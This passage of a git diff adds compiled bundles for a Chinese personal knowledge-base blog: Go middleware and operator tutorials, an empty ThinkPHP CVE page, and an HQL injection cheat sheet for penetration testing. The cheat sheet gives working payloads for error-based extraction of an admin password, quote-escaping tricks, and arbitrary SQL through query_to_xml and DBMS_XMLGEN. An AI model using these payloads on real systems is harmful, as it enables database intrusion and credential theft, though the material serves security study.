http.Handler\u7684\u51fd\u6570\u5373\u53ef\u3002http.Handler\u662f\u4e00\u4e2a\u63a5\u53e3\uff0c\u63a5\u53e3\u65b9\u6cd5\u6211\u4eec\u719f\u6089\u7684\u4e3aserveHTTP\u3002\u8fd4\u56de\u4e5f\u662f\u4e00\u4e2ahandler\u3002\u56e0\u4e3aGo\u4e2d\u7684\u51fd\u6570\u4e5f\u53ef\u4ee5\u5f53\u6210\u53d8\u91cf\u4f20\u9012\u6216\u8005\u6216\u8005\u8fd4\u56de\uff0c\u56e0\u6b64\u4e5f\u53ef\u4ee5\u5728\u4e2d\u95f4\u4ef6\u51fd\u6570\u4e2d\u4f20\u9012\u5b9a\u4e49\u597d\u7684\u51fd\u6570\uff0c\u53ea\u8981\u8fd9\u4e2a\u51fd\u6570\u662f\u4e00\u4e2ahandler\u5373\u53ef\uff0c\u5373\u5b9e\u73b0\u6216\u8005\u88abhandlerFunc\u5305\u88f9\u6210\u4e3ahandler\u5904\u7406\u5668\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func index(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("Content-Type", "text/html")\n\n html := `\n \n \n Hello World\n \n \n

\n Welcome\n

\n \n`\n fmt.Fprintln(w, html)\n}\n\nfunc middlewareHandler(next http.Handler) http.Handler{\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){\n // \u6267\u884chandler\u4e4b\u524d\u7684\u903b\u8f91\n next.ServeHTTP(w, r)\n // \u6267\u884c\u5b8c\u6bd5handler\u540e\u7684\u903b\u8f91\n })\n}\n\nfunc loggingHandler(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n start := time.Now()\n log.Printf("Started %s %s", r.Method, r.URL.Path)\n next.ServeHTTP(w, r)\n log.Printf("Completed %s in %v", r.URL.Path, time.Since(start))\n })\n}\n\nfunc main() {\n http.Handle("/", loggingHandler(http.HandlerFunc(index)))\n\n http.ListenAndServe(":8000", nil)\n}\n'})})]})}function p(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(c,{...e})}):c(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>d,x:()=>i});var t=r(96540);const s={},l=t.createContext(s);function d(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:d(e.components),t.createElement(l.Provider,{value:n},e.children)}},43268:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/hello-fad9ba7343b4d8ae8e8f478597c0a1d2.png"}}]); \ No newline at end of file diff --git a/assets/js/86d74ba7.401744dd.js b/assets/js/86d74ba7.401744dd.js new file mode 100644 index 0000000..d30ce89 --- /dev/null +++ b/assets/js/86d74ba7.401744dd.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3120],{28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>o});var s=n(96540);const i={},r=s.createContext(i);function l(e){const t=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:l(e.components),s.createElement(r.Provider,{value:t},e.children)}},48166:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>l,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","title":"CVE-2022-38352","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/04.CVE-2022-38352.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/04.CVE-2022-38352.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce"},"next":{"title":"privilege-escalation-1.6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6"}}');var i=n(74848),r=n(28453);const l={},o="Thinkphp",c={},h=[{value:"\u5f71\u54cd",id:"\u5f71\u54cd",level:2}];function a(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(t.table,{children:[(0,i.jsx)(t.thead,{children:(0,i.jsxs)(t.tr,{children:[(0,i.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(t.tbody,{children:(0,i.jsxs)(t.tr,{children:[(0,i.jsx)(t.td,{style:{textAlign:"left"},children:(0,i.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(t.td,{style:{textAlign:"left"},children:"2024-02-23 11:56:45"})]})})]}),"\n",(0,i.jsx)(t.header,{children:(0,i.jsx)(t.h1,{id:"thinkphp",children:"Thinkphp"})}),"\n",(0,i.jsx)(t.h2,{id:"\u5f71\u54cd",children:"\u5f71\u54cd"}),"\n",(0,i.jsx)(t.pre,{children:(0,i.jsx)(t.code,{className:"language-json"})})]})}function d(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,i.jsx)(t,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/88425cd9.589f9b86.js b/assets/js/88425cd9.589f9b86.js new file mode 100644 index 0000000..f8756c0 --- /dev/null +++ b/assets/js/88425cd9.589f9b86.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[836],{16469:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>a,contentTitle:()=>o,default:()=>h,frontMatter:()=>i,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","title":"HQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/08.HQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/08.HQL.md","tags":[],"version":"current","sidebarPosition":8,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MSSQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL"},"next":{"title":"DB2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2"}}');var t=s(74848),r=s(28453);const i={},o=void 0,a={},c=[{value:"HQL \u8bc4\u8bba",id:"hql-\u8bc4\u8bba",level:2},{value:"HQL \u5217\u8868\u5217",id:"hql-\u5217\u8868\u5217",level:2},{value:"\u57fa\u4e8e HQL \u9519\u8bef",id:"\u57fa\u4e8e-hql-\u9519\u8bef",level:2},{value:"\u5355\u5f15\u53f7\u8f6c\u4e49",id:"\u5355\u5f15\u53f7\u8f6c\u4e49",level:2},{value:"$ \u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32",id:"-\u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32",level:2},{value:"DBMS \u9b54\u672f\u51fd\u6570",id:"dbms-\u9b54\u672f\u51fd\u6570",level:2},{value:"\u7edf\u4e00\u7801",id:"\u7edf\u4e00\u7801",level:2},{value:"Java \u5e38\u91cf",id:"java-\u5e38\u91cf",level:2},{value:"DBMS \u7684\u65b9\u6cd5",id:"dbms-\u7684\u65b9\u6cd5",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"Hibernate ORM\uff08\u7b80\u79f0 Hibernate\uff09\u662f Java \u7f16\u7a0b\u8bed\u8a00\u7684\u5bf9\u8c61\u5173\u7cfb\u6620\u5c04\u5de5\u5177\u3002\u5b83\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5c06\u9762\u5411\u5bf9\u8c61\u7684\u57df\u6a21\u578b\u6620\u5c04\u5230\u5173\u7cfb\u6570\u636e\u5e93\u7684\u6846\u67b6\u7ef4\u57fa\u767e\u79d1"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"hql-\u8bc4\u8bba",children:"HQL \u8bc4\u8bba"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"HQL does not support comments\n"})}),"\n",(0,t.jsx)(n.h2,{id:"hql-\u5217\u8868\u5217",children:"HQL \u5217\u8868\u5217"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"from BlogPosts\nwhere title like '%'\n and DOESNT_EXIST=1 and ''='%' -- \n and published = true\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4f7f\u7528\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u5217\u5c06\u5bfc\u81f4\u4e00\u4e2a\u5f02\u5e38\uff0c\u6cc4\u6f0f\u591a\u4e2a\u5217\u540d\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"org.hibernate.exception.SQLGrammarException: Column \"DOESNT_EXIST\" not found; SQL statement:\n select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u57fa\u4e8e-hql-\u9519\u8bef",children:"\u57fa\u4e8e HQL \u9519\u8bef"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"from BlogPosts\nwhere title like '%11'\n and (select password from User where username='admin')=1\n or ''='%'\n and published = true\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u57fa\u4e8e\u503c\u5f3a\u5236\u8f6c\u6362\u7684\u9519\u8bef\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sql",children:"Data conversion error converting \"d41d8cd98f00b204e9800998ecf8427e\"; SQL statement:\nselect blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u26a0\ufe0f"}),"\n",(0,t.jsx)(n.h2,{id:"\u5355\u5f15\u53f7\u8f6c\u4e49",children:"\u5355\u5f15\u53f7\u8f6c\u4e49"}),"\n",(0,t.jsxs)(n.p,{children:["\u65b9\u6cd5\u9002\u7528\u4e8e MySQL DBMS\uff0c\u8be5 DBMS \u4f7f\u7528 SLASH \u8f6c\u4e49\u5b57\u7b26\u4e32\u4e2d\u7684 SINGLE QUOTES ",(0,t.jsx)(n.code,{children:"\\'"}),"\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 HQL \u4e2d\uff0cSINGLE QUOTES \u901a\u8fc7\u52a0\u500d ",(0,t.jsx)(n.code,{children:"''"})," \u4ee5\u5b57\u7b26\u4e32\u5f62\u5f0f\u8f6c\u4e49\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"'abc\\''or 1=(select 1)--'\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5728 HQL \u4e2d\u5b83\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5728 MySQL \u4e2d\u5b83\u662f\u5b57\u7b26\u4e32\u548c\u9644\u52a0\u7684 SQL \u8868\u8fbe\u5f0f\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"-\u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32",children:"$ \u5e26\u5f15\u53f7\u7684\u5b57\u7b26\u4e32"}),"\n",(0,t.jsx)(n.p,{children:"\u65b9\u6cd5\u9002\u7528\u4e8e\u5141\u8bb8\u5728 SQL \u8868\u8fbe\u5f0f\u4e2d\u4f7f\u7528 DOLLAR-QUOTED \u5b57\u7b26\u4e32\u7684 DBMS\uff1aPostgreSQL\uff0cH2\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["Hibernate ORM \u5141\u8bb8\u6807\u8bc6\u7b26\u4ee5 ",(0,t.jsx)(n.code,{children:"$$"})," \u5f00\u5934\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"$$='$$=concat(chr(61),chr(39)) and 1=1--'\n"})}),"\n",(0,t.jsx)(n.h2,{id:"dbms-\u9b54\u672f\u51fd\u6570",children:"DBMS \u9b54\u672f\u51fd\u6570"}),"\n",(0,t.jsx)(n.p,{children:"\u65b9\u6cd5\u9002\u7528\u4e8e\u5177\u6709 MAGIC FUNCTIONS \u7684 DBMS\uff0c\u8be5\u51fd\u6570\u7528\u4e8e\u8ba1\u7b97\u5b57\u7b26\u4e32\u53c2\u6570\u4e2d\u7684 SQL \u8868\u8fbe\u5f0f\uff1aPostgreSQL\u3001Oracle\u3002"}),"\n",(0,t.jsx)(n.p,{children:"Hibernate \u5141\u8bb8\u5728 HQL \u8868\u8fbe\u5f0f\u4e2d\u6307\u5b9a\u4efb\u4f55\u51fd\u6570\u540d\u79f0\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["PostgreSQL \u5185\u7f6e\u51fd\u6570 ",(0,t.jsx)(n.code,{children:"query_to_xml('Arbitrary SQL')"}),"\u3002"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)\n"})}),"\n",(0,t.jsxs)(n.p,{children:["Oracle \u5177\u6709\u5185\u7f6e\u529f\u80fd ",(0,t.jsx)(n.code,{children:"DBMS_XMLGEN.getxml('SQL')"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u7edf\u4e00\u7801",children:"\u7edf\u4e00\u7801"}),"\n",(0,t.jsx)(n.p,{children:"\u65b9\u6cd5\u9002\u7528\u4e8e\u5141\u8bb8 SQL \u4ee4\u724c\u4e4b\u95f4\u4f7f\u7528 UNICODE \u5206\u9694\u7b26\uff08\u4f8b\u5982 U+00A0\uff09\u7684 DBMS\uff1aMicrosoft SQL Server\uff0cH2\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 Microsoft SQL SERVER \u4e2d\uff0c ",(0,t.jsx)(n.code,{children:"SELECT LEN([U+00A0](select[U+00A0](1))"})," \u7684\u5de5\u4f5c\u539f\u7406\u4e0e\u76f8\u540c\uff1b"]}),"\n",(0,t.jsx)(n.p,{children:"HQL \u5141\u8bb8\u5728\u6807\u8bc6\u7b26\uff08\u51fd\u6570\u6216\u53c2\u6570\u540d\u79f0\uff09\u4e2d\u4f7f\u7528 UNICODE \u7b26\u53f7\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1\n"})}),"\n",(0,t.jsx)(n.h2,{id:"dbms-\u7684\u65b9\u6cd5",children:"DBMS \u7684\u65b9\u6cd5"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://user-images.githubusercontent.com/16578570/163428666-a22105a8-287c-4997-8aef-8f372a1b86e9.png",alt:"image"})}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://blog.h3xstream.com/2014/02/hql-for-pentesters.html",children:"\u4e94\u916f\u7684 HQL-2014 \u5e74 2 \u6708 12 \u65e5-Philippe Arteau"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language",children:"\u5982\u4f55\u5c06\u6ce8\u91ca\u653e\u5165 HQL\uff08\u4f11\u7720\u67e5\u8be2\u8bed\u8a00\uff09\uff1f-\u6258\u9a6c\u65af \xb7 \u5e03\u62c9\u7279"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf",children:"HQL\uff1a\u8d85\u75af\u72c2\u7684\u67e5\u8be2\u8bed\u8a00-2015 \u5e74 6 \u6708 4 \u65e5-Renaud Dubourguais"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm",children:"ORM2Pown:\u5229\u7528 Hibernate ORM \u4e2d\u7684\u6ce8\u5165-2015 \u5e74 11 \u6708 26 \u65e5-Mikhail Egorov"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf",children:"Java \u5e94\u7528\u7a0b\u5e8f\u4e2d\u5229\u7528 ORM \u6ce8\u5165\u7684\u65b0\u65b9\u6cd5-HITBSecConf2016-Mikhail Egorov-Sergey Soldatov"})}),"\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/",children:"HQL \u5728 MySQL \u4e2d\u7684\u6ce8\u5165\u5f00\u53d1-2019 \u5e74 7 \u6708 18 \u65e5-Olga Barinova"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(d,{...e})}):d(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>o});var l=s(96540);const t={},r=l.createContext(t);function i(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),l.createElement(r.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/8855b24e.96e2187f.js b/assets/js/8855b24e.96e2187f.js new file mode 100644 index 0000000..75c385a --- /dev/null +++ b/assets/js/8855b24e.96e2187f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9740],{28102:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>j,frontMatter:()=>i,metadata:()=>l,toc:()=>x});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","title":"GoLang-\u8fd0\u7b97\u7b26","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/04.GoLang-\u8fd0\u7b97\u7b26.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/04.GoLang-\u8fd0\u7b97\u7b26.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236"}}');var s=t(74848),r=t(28453);const i={},d=void 0,c={},x=[{value:"\u7b97\u672f\u8fd0\u7b97\u7b26",id:"\u7b97\u672f\u8fd0\u7b97\u7b26",level:2},{value:"\u5173\u7cfb\u8fd0\u7b97\u7b26",id:"\u5173\u7cfb\u8fd0\u7b97\u7b26",level:2},{value:"\u903b\u8f91\u8fd0\u7b97\u7b26",id:"\u903b\u8f91\u8fd0\u7b97\u7b26",level:2},{value:"\u4f4d\u8fd0\u7b97\u7b26",id:"\u4f4d\u8fd0\u7b97\u7b26",level:2},{value:"\u8d4b\u503c\u8fd0\u7b97\u7b26",id:"\u8d4b\u503c\u8fd0\u7b97\u7b26",level:2}];function h(e){const n={code:"code",h2:"h2",img:"img",li:"li",ol:"ol",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u7b97\u672f\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u5173\u7cfb\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u903b\u8f91\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u4f4d\u8fd0\u7b97\u7b26"}),"\n",(0,s.jsx)(n.li,{children:"\u8d4b\u503c\u8fd0\u7b97\u7b26"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u7b97\u672f\u8fd0\u7b97\u7b26",children:"\u7b97\u672f\u8fd0\u7b97\u7b26"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u8fd0\u7b97\u7b26"}),(0,s.jsx)(n.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"+"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u52a0"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"-"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u51cf"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"*"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u4e58"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"/"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u76f8\u9664"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"%"}),(0,s.jsx)(n.td,{style:{textAlign:"center"},children:"\u6c42\u4f59"})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u6ce8\u610f\uff1a"})," 